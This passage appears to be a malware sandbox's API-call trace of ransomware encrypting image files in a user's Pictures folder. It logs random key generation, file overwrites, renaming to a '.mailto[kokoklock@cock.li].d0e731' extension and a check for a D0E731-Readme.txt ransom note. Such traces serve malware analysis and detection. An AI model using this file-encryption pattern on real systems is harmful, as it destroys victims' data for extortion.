Seed=0xfdbf6f4 | out: Seed=0xfdbf6f4) returned 0x615dec3b [0066.018] RtlRandom (in: Seed=0xfdbf6f4 | out: Seed=0xfdbf6f4) returned 0x939f5757 [0066.018] RtlRandom (in: Seed=0xfdbf6f4 | out: Seed=0xfdbf6f4) returned 0xa38f5b1f [0066.018] RtlRandom (in: Seed=0xfdbf6f4 | out: Seed=0xfdbf6f4) returned 0xe75111b0 [0066.018] RtlRandom (in: Seed=0xfdbf6f4 | out: Seed=0xfdbf6f4) returned 0x4050fa1d [0066.068] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.068] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xfdbf6c0, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xfdbf6c0*=0x4096, lpOverlapped=0x0) returned 1 [0066.068] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.068] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0066.068] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0066.068] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0066.068] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4b0) returned 1 [0066.069] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0066.069] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0066.069] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be870 [0066.069] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be870) returned 1 [0066.069] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0066.069] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0066.069] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xfdbf6c0, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xfdbf6c0*=0x4096, lpOverlapped=0x0) returned 1 [0066.069] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0066.069] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x140d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.069] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be4b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xfdbf6f8, lpOverlapped=0x0 | out: lpBuffer=0x34be4b0*, lpNumberOfBytesWritten=0xfdbf6f8*=0x20, lpOverlapped=0x0) returned 1 [0066.070] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4b0) returned 1 [0066.070] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0066.070] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be960*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xfdbf70c, lpOverlapped=0x0 | out: lpBuffer=0x34be960*, lpNumberOfBytesWritten=0xfdbf70c*=0x8, lpOverlapped=0x0) returned 1 [0066.070] WriteFile (in: hFile=0x7c8, lpBuffer=0xfdbf724*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xfdbf70c, lpOverlapped=0x0 | out: lpBuffer=0xfdbf724*, lpNumberOfBytesWritten=0xfdbf70c*=0x4, lpOverlapped=0x0) returned 1 [0066.070] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xfdbf70c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xfdbf70c*=0x4, lpOverlapped=0x0) returned 1 [0066.070] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xfdbf70c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xfdbf70c*=0x6c, lpOverlapped=0x0) returned 1 [0066.070] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be668*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xfdbf70c, lpOverlapped=0x0 | out: lpBuffer=0x34be668*, lpNumberOfBytesWritten=0xfdbf70c*=0x20, lpOverlapped=0x0) returned 1 [0066.070] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xfdbf70c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xfdbf70c*=0x4, lpOverlapped=0x0) returned 1 [0066.070] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be668) returned 1 [0066.070] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be938) returned 1 [0066.070] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be960) returned 1 [0066.070] CloseHandle (hObject=0x7c8) returned 1 [0066.073] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa4) returned 0x33ce718 [0066.073] wcscpy (in: _Dest=0x33ce718, _Source="C:\\Users\\FD1HVy\\Pictures\\OqGnQ6ubAcgxmB97zti.png" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\OqGnQ6ubAcgxmB97zti.png") returned="C:\\Users\\FD1HVy\\Pictures\\OqGnQ6ubAcgxmB97zti.png" [0066.073] wcscat (in: _Dest=0x33ce718, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\OqGnQ6ubAcgxmB97zti.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\OqGnQ6ubAcgxmB97zti.png.mailto[kokoklock@cock.li].d0e731" [0066.073] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\OqGnQ6ubAcgxmB97zti.png" (normalized: "c:\\users\\fd1hvy\\pictures\\oqgnq6ubacgxmb97zti.png"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\OqGnQ6ubAcgxmB97zti.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\oqgnq6ubacgxmb97zti.png.mailto[kokoklock@cock.li].d0e731")) returned 1 [0066.074] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\OqGnQ6ubAcgxmB97zti.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0066.074] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce718) returned 1 [0066.074] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\OqGnQ6ubAcgxmB97zti.png", dwFileAttributes=0x20) returned 0 [0066.074] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3481f78 [0066.074] wcscpy (in: _Dest=0x3481f78, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0066.074] wcscat (in: _Dest=0x3481f78, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0066.074] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0066.074] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481f78) returned 1 [0066.075] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e3b0) returned 1 [0066.075] RtlExitUserThread (Status=0x1) Thread: id = 352 os_tid = 0x13f8 [0066.076] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\QbTsr3.png" (normalized: "c:\\users\\fd1hvy\\pictures\\qbtsr3.png")) returned 0x20 [0066.076] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\QbTsr3.png", dwFileAttributes=0x20) returned 1 [0066.076] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\QbTsr3.png" (normalized: "c:\\users\\fd1hvy\\pictures\\qbtsr3.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0066.076] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0xfe3f7bc | out: lpFileSize=0xfe3f7bc*=67290) returned 1 [0066.076] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x106d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.076] ReadFile (in: hFile=0x7c8, lpBuffer=0xfe3f790, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xfe3f78c, lpOverlapped=0x0 | out: lpBuffer=0xfe3f790*, lpNumberOfBytesRead=0xfe3f78c*=0x4, lpOverlapped=0x0) returned 1 [0066.076] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.076] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be938 [0066.076] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be870 [0066.076] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be960 [0066.076] NtQuerySystemTime (in: CurrentTime=0xfe3f768 | out: CurrentTime=0xfe3f768*=132121176239715556) returned 0x0 [0066.076] RtlRandom (in: Seed=0xfe3f774 | out: Seed=0xfe3f774) returned 0xfa578eaa [0066.076] RtlRandom (in: Seed=0xfe3f774 | out: Seed=0xfe3f774) returned 0x40fd7490 [0066.076] RtlRandom (in: Seed=0xfe3f774 | out: Seed=0xfe3f774) returned 0x83a7a643 [0066.076] RtlRandom (in: Seed=0xfe3f774 | out: Seed=0xfe3f774) returned 0x7a6af82e [0066.077] RtlRandom (in: Seed=0xfe3f774 | out: Seed=0xfe3f774) returned 0x3fea12f5 [0066.077] RtlRandom (in: Seed=0xfe3f774 | out: Seed=0xfe3f774) returned 0xecf85d33 [0066.077] RtlRandom (in: Seed=0xfe3f774 | out: Seed=0xfe3f774) returned 0xbe873d69 [0066.077] RtlRandom (in: Seed=0xfe3f774 | out: Seed=0xfe3f774) returned 0x4a44c859 [0066.077] RtlRandom (in: Seed=0xfe3f774 | out: Seed=0xfe3f774) returned 0xd42ee447 [0066.077] RtlRandom (in: Seed=0xfe3f774 | out: Seed=0xfe3f774) returned 0xad023df6 [0066.077] RtlRandom (in: Seed=0xfe3f774 | out: Seed=0xfe3f774) returned 0xa192cdd7 [0066.077] RtlRandom (in: Seed=0xfe3f774 | out: Seed=0xfe3f774) returned 0xe29f0856 [0066.077] RtlRandom (in: Seed=0xfe3f774 | out: Seed=0xfe3f774) returned 0x139fa947 [0066.077] RtlRandom (in: Seed=0xfe3f774 | out: Seed=0xfe3f774) returned 0x765f0d4e [0066.077] RtlRandom (in: Seed=0xfe3f774 | out: Seed=0xfe3f774) returned 0x8027f871 [0066.077] RtlRandom (in: Seed=0xfe3f774 | out: Seed=0xfe3f774) returned 0x34782a8 [0066.077] RtlRandom (in: Seed=0xfe3f774 | out: Seed=0xfe3f774) returned 0xcf0bd652 [0066.077] RtlRandom (in: Seed=0xfe3f774 | out: Seed=0xfe3f774) returned 0xe98381ec [0066.077] RtlRandom (in: Seed=0xfe3f774 | out: Seed=0xfe3f774) returned 0xc29eb720 [0066.077] RtlRandom (in: Seed=0xfe3f774 | out: Seed=0xfe3f774) returned 0x1521e2f5 [0066.077] RtlRandom (in: Seed=0xfe3f774 | out: Seed=0xfe3f774) returned 0x514543bc [0066.077] RtlRandom (in: Seed=0xfe3f774 | out: Seed=0xfe3f774) returned 0xce04af53 [0066.077] RtlRandom (in: Seed=0xfe3f774 | out: Seed=0xfe3f774) returned 0xa386c54d [0066.077] RtlRandom (in: Seed=0xfe3f774 | out: Seed=0xfe3f774) returned 0x63586a47 [0066.077] RtlRandom (in: Seed=0xfe3f774 | out: Seed=0xfe3f774) returned 0x686b42da [0066.077] RtlRandom (in: Seed=0xfe3f774 | out: Seed=0xfe3f774) returned 0x748dc913 [0066.077] RtlRandom (in: Seed=0xfe3f774 | out: Seed=0xfe3f774) returned 0x13c4ab2b [0066.077] RtlRandom (in: Seed=0xfe3f774 | out: Seed=0xfe3f774) returned 0x9a36ab40 [0066.077] RtlRandom (in: Seed=0xfe3f774 | out: Seed=0xfe3f774) returned 0x8b07ab88 [0066.077] RtlRandom (in: Seed=0xfe3f774 | out: Seed=0xfe3f774) returned 0x16bd0eb6 [0066.077] RtlRandom (in: Seed=0xfe3f774 | out: Seed=0xfe3f774) returned 0x1fb6e659 [0066.077] RtlRandom (in: Seed=0xfe3f774 | out: Seed=0xfe3f774) returned 0xc7318c1d [0066.088] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.088] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xfe3f740, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xfe3f740*=0x4096, lpOverlapped=0x0) returned 1 [0066.088] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.088] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0066.088] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0066.088] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be938 [0066.088] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be938) returned 1 [0066.088] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0066.089] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be938 [0066.089] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4918 [0066.089] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4918) returned 1 [0066.089] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0066.089] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0066.089] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xfe3f740, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xfe3f740*=0x4096, lpOverlapped=0x0) returned 1 [0066.089] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0066.089] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x106da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.089] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be938*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xfe3f778, lpOverlapped=0x0 | out: lpBuffer=0x34be938*, lpNumberOfBytesWritten=0xfe3f778*=0x20, lpOverlapped=0x0) returned 1 [0066.089] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be938) returned 1 [0066.089] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0066.089] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xfe3f78c, lpOverlapped=0x0 | out: lpBuffer=0x34be668*, lpNumberOfBytesWritten=0xfe3f78c*=0x8, lpOverlapped=0x0) returned 1 [0066.089] WriteFile (in: hFile=0x7c8, lpBuffer=0xfe3f7a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xfe3f78c, lpOverlapped=0x0 | out: lpBuffer=0xfe3f7a4*, lpNumberOfBytesWritten=0xfe3f78c*=0x4, lpOverlapped=0x0) returned 1 [0066.089] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xfe3f78c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xfe3f78c*=0x4, lpOverlapped=0x0) returned 1 [0066.090] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xfe3f78c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xfe3f78c*=0x6c, lpOverlapped=0x0) returned 1 [0066.090] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be870*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xfe3f78c, lpOverlapped=0x0 | out: lpBuffer=0x34be870*, lpNumberOfBytesWritten=0xfe3f78c*=0x20, lpOverlapped=0x0) returned 1 [0066.090] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xfe3f78c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xfe3f78c*=0x4, lpOverlapped=0x0) returned 1 [0066.090] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be870) returned 1 [0066.090] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4b0) returned 1 [0066.090] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be668) returned 1 [0066.090] CloseHandle (hObject=0x7c8) returned 1 [0066.092] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x3486220 [0066.092] wcscpy (in: _Dest=0x3486220, _Source="C:\\Users\\FD1HVy\\Pictures\\QbTsr3.png" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\QbTsr3.png") returned="C:\\Users\\FD1HVy\\Pictures\\QbTsr3.png" [0066.092] wcscat (in: _Dest=0x3486220, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\QbTsr3.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\QbTsr3.png.mailto[kokoklock@cock.li].d0e731" [0066.092] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\QbTsr3.png" (normalized: "c:\\users\\fd1hvy\\pictures\\qbtsr3.png"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\QbTsr3.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\qbtsr3.png.mailto[kokoklock@cock.li].d0e731")) returned 1 [0066.093] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\QbTsr3.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0066.093] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0066.093] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\QbTsr3.png", dwFileAttributes=0x20) returned 0 [0066.093] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3482038 [0066.093] wcscpy (in: _Dest=0x3482038, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0066.093] wcscat (in: _Dest=0x3482038, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0066.093] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0066.093] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482038) returned 1 [0066.093] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34810c8) returned 1 [0066.093] RtlExitUserThread (Status=0x1) Thread: id = 353 os_tid = 0x13fc [0066.095] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\qlarU6xM.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\qlaru6xm.bmp")) returned 0x20 [0066.095] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\qlarU6xM.bmp", dwFileAttributes=0x20) returned 1 [0066.095] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\qlarU6xM.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\qlaru6xm.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0066.095] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0xfebfb2c | out: lpFileSize=0xfebfb2c*=11444) returned 1 [0066.095] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x2cb0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.095] ReadFile (in: hFile=0x7c8, lpBuffer=0xfebfb00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xfebfafc, lpOverlapped=0x0 | out: lpBuffer=0xfebfb00*, lpNumberOfBytesRead=0xfebfafc*=0x4, lpOverlapped=0x0) returned 1 [0066.095] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.095] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4918 [0066.095] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4b20 [0066.095] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4760 [0066.095] NtQuerySystemTime (in: CurrentTime=0xfebfad8 | out: CurrentTime=0xfebfad8*=132121176239871729) returned 0x0 [0066.095] RtlRandom (in: Seed=0xfebfae4 | out: Seed=0xfebfae4) returned 0x5593bfec [0066.095] RtlRandom (in: Seed=0xfebfae4 | out: Seed=0xfebfae4) returned 0x924321c0 [0066.096] RtlRandom (in: Seed=0xfebfae4 | out: Seed=0xfebfae4) returned 0x61b2aee7 [0066.096] RtlRandom (in: Seed=0xfebfae4 | out: Seed=0xfebfae4) returned 0x203db3c1 [0066.096] RtlRandom (in: Seed=0xfebfae4 | out: Seed=0xfebfae4) returned 0x72920dd6 [0066.096] RtlRandom (in: Seed=0xfebfae4 | out: Seed=0xfebfae4) returned 0x88561f5 [0066.096] RtlRandom (in: Seed=0xfebfae4 | out: Seed=0xfebfae4) returned 0xde3b943c [0066.096] RtlRandom (in: Seed=0xfebfae4 | out: Seed=0xfebfae4) returned 0x584a8d46 [0066.096] RtlRandom (in: Seed=0xfebfae4 | out: Seed=0xfebfae4) returned 0xef72662b [0066.096] RtlRandom (in: Seed=0xfebfae4 | out: Seed=0xfebfae4) returned 0xc6dba027 [0066.096] RtlRandom (in: Seed=0xfebfae4 | out: Seed=0xfebfae4) returned 0x9df295b7 [0066.096] RtlRandom (in: Seed=0xfebfae4 | out: Seed=0xfebfae4) returned 0x7a80166 [0066.096] RtlRandom (in: Seed=0xfebfae4 | out: Seed=0xfebfae4) returned 0xb4bd70b5 [0066.096] RtlRandom (in: Seed=0xfebfae4 | out: Seed=0xfebfae4) returned 0xc6ed9506 [0066.096] RtlRandom (in: Seed=0xfebfae4 | out: Seed=0xfebfae4) returned 0x5b41225f [0066.096] RtlRandom (in: Seed=0xfebfae4 | out: Seed=0xfebfae4) returned 0x5d987d1b [0066.096] RtlRandom (in: Seed=0xfebfae4 | out: Seed=0xfebfae4) returned 0xb0dc773d [0066.096] RtlRandom (in: Seed=0xfebfae4 | out: Seed=0xfebfae4) returned 0x62251cca [0066.096] RtlRandom (in: Seed=0xfebfae4 | out: Seed=0xfebfae4) returned 0xc85edea7 [0066.096] RtlRandom (in: Seed=0xfebfae4 | out: Seed=0xfebfae4) returned 0x37a13e37 [0066.096] RtlRandom (in: Seed=0xfebfae4 | out: Seed=0xfebfae4) returned 0x4c3f4e23 [0066.096] RtlRandom (in: Seed=0xfebfae4 | out: Seed=0xfebfae4) returned 0xa5becb10 [0066.096] RtlRandom (in: Seed=0xfebfae4 | out: Seed=0xfebfae4) returned 0x164a1d9 [0066.096] RtlRandom (in: Seed=0xfebfae4 | out: Seed=0xfebfae4) returned 0x41113923 [0066.096] RtlRandom (in: Seed=0xfebfae4 | out: Seed=0xfebfae4) returned 0x23c00f4d [0066.096] RtlRandom (in: Seed=0xfebfae4 | out: Seed=0xfebfae4) returned 0x3f26b3d0 [0066.096] RtlRandom (in: Seed=0xfebfae4 | out: Seed=0xfebfae4) returned 0x3acf3c95 [0066.096] RtlRandom (in: Seed=0xfebfae4 | out: Seed=0xfebfae4) returned 0x463436ff [0066.096] RtlRandom (in: Seed=0xfebfae4 | out: Seed=0xfebfae4) returned 0xf9de0495 [0066.096] RtlRandom (in: Seed=0xfebfae4 | out: Seed=0xfebfae4) returned 0x2d6810be [0066.096] RtlRandom (in: Seed=0xfebfae4 | out: Seed=0xfebfae4) returned 0xe06ee3e [0066.096] RtlRandom (in: Seed=0xfebfae4 | out: Seed=0xfebfae4) returned 0x9c7b29e7 [0066.109] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x2cb4, lpNumberOfBytesRead=0xfebfad8, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xfebfad8*=0x2cb4, lpOverlapped=0x0) returned 1 [0066.109] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xfebfaa0 | out: lpNewFilePointer=0x0) returned 1 [0066.109] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x2cb4, lpNumberOfBytesWritten=0xfebfad4, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xfebfad4*=0x2cb4, lpOverlapped=0x0) returned 1 [0066.109] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4918 [0066.110] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0066.110] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4b0) returned 1 [0066.110] WriteFile (in: hFile=0x7c8, lpBuffer=0x33e4918*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xfebfad0, lpOverlapped=0x0 | out: lpBuffer=0x33e4918*, lpNumberOfBytesWritten=0xfebfad0*=0x20, lpOverlapped=0x0) returned 1 [0066.110] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4918) returned 1 [0066.110] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0066.110] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0066.110] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0066.110] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0066.110] WriteFile (in: hFile=0x7c8, lpBuffer=0x33e4800*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xfebfafc, lpOverlapped=0x0 | out: lpBuffer=0x33e4800*, lpNumberOfBytesWritten=0xfebfafc*=0x8, lpOverlapped=0x0) returned 1 [0066.110] WriteFile (in: hFile=0x7c8, lpBuffer=0xfebfb14*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xfebfafc, lpOverlapped=0x0 | out: lpBuffer=0xfebfb14*, lpNumberOfBytesWritten=0xfebfafc*=0x4, lpOverlapped=0x0) returned 1 [0066.110] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, 